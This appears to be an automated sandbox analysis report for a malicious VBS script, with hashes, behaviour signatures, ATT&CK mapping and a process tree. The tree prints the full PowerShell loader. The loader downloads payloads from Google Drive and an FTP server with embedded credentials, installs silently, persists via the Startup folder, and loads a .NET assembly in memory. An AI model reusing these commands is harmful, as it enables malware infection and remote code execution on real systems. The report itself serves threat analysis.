601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6

General

Target

601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs
Size

681KB
MD5

c92735c228647df18945e50e80630e89
SHA1

a8e770aa44e41a62534f0ae5c6f5b7cc7ad2002e
SHA256

601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6
SHA512

9b1a6f215ff69c9bab7a6016e49ced06a0c4f932bc36135aba6a1c3e46ff6d2c9d41e2461c48696b59684b5358754813ed0df5df55f4307edfc16481ee7ea61a
SSDEEP

1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222D:6OGHvYKaY

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe
2136	powershell.exe
1988	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2136	powershell.exe
1988	powershell.exe
2636	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2136	2080	WScript.exe	28
PID 2080 wrote to memory of 2136	2080	WScript.exe	28
PID 2080 wrote to memory of 2136	2080	WScript.exe	28
PID 2136 wrote to memory of 1988	2136	powershell.exe	30
PID 2136 wrote to memory of 1988	2136	powershell.exe	30
PID 2136 wrote to memory of 1988	2136	powershell.exe	30
PID 1988 wrote to memory of 2636	1988	powershell.exe	31
PID 1988 wrote to memory of 2636	1988	powershell.exe	31
PID 1988 wrote to memory of 2636	1988	powershell.exe	31
PID 2636 wrote to memory of 1036	2636	powershell.exe	32
PID 2636 wrote to memory of 1036	2636	powershell.exe	32
PID 2636 wrote to memory of 1036	2636	powershell.exe	32
PID 1988 wrote to memory of 2452	1988	powershell.exe	33
PID 1988 wrote to memory of 2452	1988	powershell.exe	33
PID 1988 wrote to memory of 2452	1988	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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= $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs');powershell $IedxR
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$uyrb = (New-Object Net.WebClient);$uyrb.Encoding = [System.Text.Encoding]::UTF8;$uyrb.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $uyrb.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$uyrb.dispose();$uyrb = (New-Object Net.WebClient);$uyrb.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $uyrb.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\601e9f71fcf9a1635b8a1ee60c6e2aa8bc8d261bc389ab8e1a2a2f6eed8187b6.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '047141=ld?php.nibetsap/rf.nibetsap//:sptth' , $hzwje , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2636
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:1036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
953be3d63b7a2211a5a9ff0094e6d53e

SHA1
25e679494534354565eeb93406639bd9265d5b8c

SHA256
7be08c400c4378b96171f5ca6ad95f5541b31d275c256ab49c298fb0c027c247

SHA512
7adb2af24228148ac93c60259c474a6c3a7fec7bf353bdadc54f717765a838630f8dbb32e8edd9d33e02a112b26730fd1197b85984ac3718fc5d7f6c386a43fc

Download Submit
memory/2136-4-0x000007FEF666E000-0x000007FEF666F000-memory.dmp

Filesize
4KB

Download
memory/2136-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2136-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2136-7-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-8-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-26-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/2136-27-0x000007FEF666E000-0x000007FEF666F000-memory.dmp

Filesize
4KB

Download

Analysis

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